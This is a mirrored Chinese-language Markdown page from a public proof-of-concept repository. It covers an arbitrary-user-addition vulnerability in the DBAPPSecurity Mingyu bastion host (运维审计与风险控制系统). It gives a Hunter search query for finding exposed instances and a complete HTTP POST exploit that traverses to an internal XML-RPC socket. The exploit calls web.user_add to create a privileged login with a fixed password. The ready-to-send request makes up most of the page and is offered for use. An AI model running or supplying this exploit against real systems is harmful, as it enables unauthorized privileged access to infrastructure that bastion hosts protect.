mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 02:46:33 +00:00
117 lines
2.9 KiB
Markdown
117 lines
2.9 KiB
Markdown
|
# 安恒堡垒机任意用户添加漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
安恒明御运维审计与风险控制系统（简称“DASUSM”）是一款基于运维安全管理的理论和实践经验，结合各类法律法规（如等级保护、赛班斯法案SOX、PCI、企业内控管理、分级保护、ISO/IEC 27001等）对运维审计的要求，采用B/S架构，集“身份认证（Authentication）、账户管理（Account）、控制权限（Authorization）、日志审计（Audit）”于一体，支持多种字符终端协议、文件传输协议、图形终端协议、远程应用协议的安全监控与历史查询，具备全方位运维风险控制能力的统一安全管理与审计产品。安恒明御运维审计风险控制系统（堡垒机）存在任意用户添加漏洞，攻击者可利用该漏洞添加用户登录堡垒机。
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
+ 安恒明御运维审计与风险控制系统
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ hunter:`app.name=="安恒明御运维审计与风险控制系统"`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
+ 首页
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
使用exp添加用户`qaxnb666/Admin123..`
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
|
|||
|
|
Host: xx.xx.xx.xx
|
|||
|
|
Content-Length: 1112
|
|||
|
|
|
|||
|
|
<?xml version="1.0"?>
|
|||
|
|
<methodCall>
|
|||
|
|
<methodName>web.user_add</methodName>
|
|||
|
|
<params>
|
|||
|
|
<param>
|
|||
|
|
<value>
|
|||
|
|
<array>
|
|||
|
|
<data>
|
|||
|
|
<value>
|
|||
|
|
<string>admin</string>
|
|||
|
|
</value>
|
|||
|
|
<value>
|
|||
|
|
<string>5</string>
|
|||
|
|
</value>
|
|||
|
|
<value>
|
|||
|
|
<string>10.17.1.1</string>
|
|||
|
|
</value>
|
|||
|
|
</data>
|
|||
|
|
</array>
|
|||
|
|
</value>
|
|||
|
|
</param>
|
|||
|
|
<param>
|
|||
|
|
<value>
|
|||
|
|
<struct>
|
|||
|
|
<member>
|
|||
|
|
<name>uname</name>
|
|||
|
|
<value>
|
|||
|
|
<string>qaxnb666</string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>name</name>
|
|||
|
|
<value>
|
|||
|
|
<string>yuwe</string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>pwd</name>
|
|||
|
|
<value>
|
|||
|
|
<string>Admin123..</string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>authmode</name>
|
|||
|
|
<value>
|
|||
|
|
<string>1</string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>deptid</name>
|
|||
|
|
<value>
|
|||
|
|
<string></string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>email</name>
|
|||
|
|
<value>
|
|||
|
|
<string></string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>mobile</name>
|
|||
|
|
<value>
|
|||
|
|
<string></string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>comment</name>
|
|||
|
|
<value>
|
|||
|
|
<string></string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
<member>
|
|||
|
|
<name>roleid</name>
|
|||
|
|
<value>
|
|||
|
|
<string>101</string>
|
|||
|
|
</value>
|
|||
|
|
</member>
|
|||
|
|
</struct></value>
|
|||
|
|
</param>
|
|||
|
|
</params>
|
|||
|
|
</methodCall>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:57:16
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/uw8xn0gy2yh82z2w>
|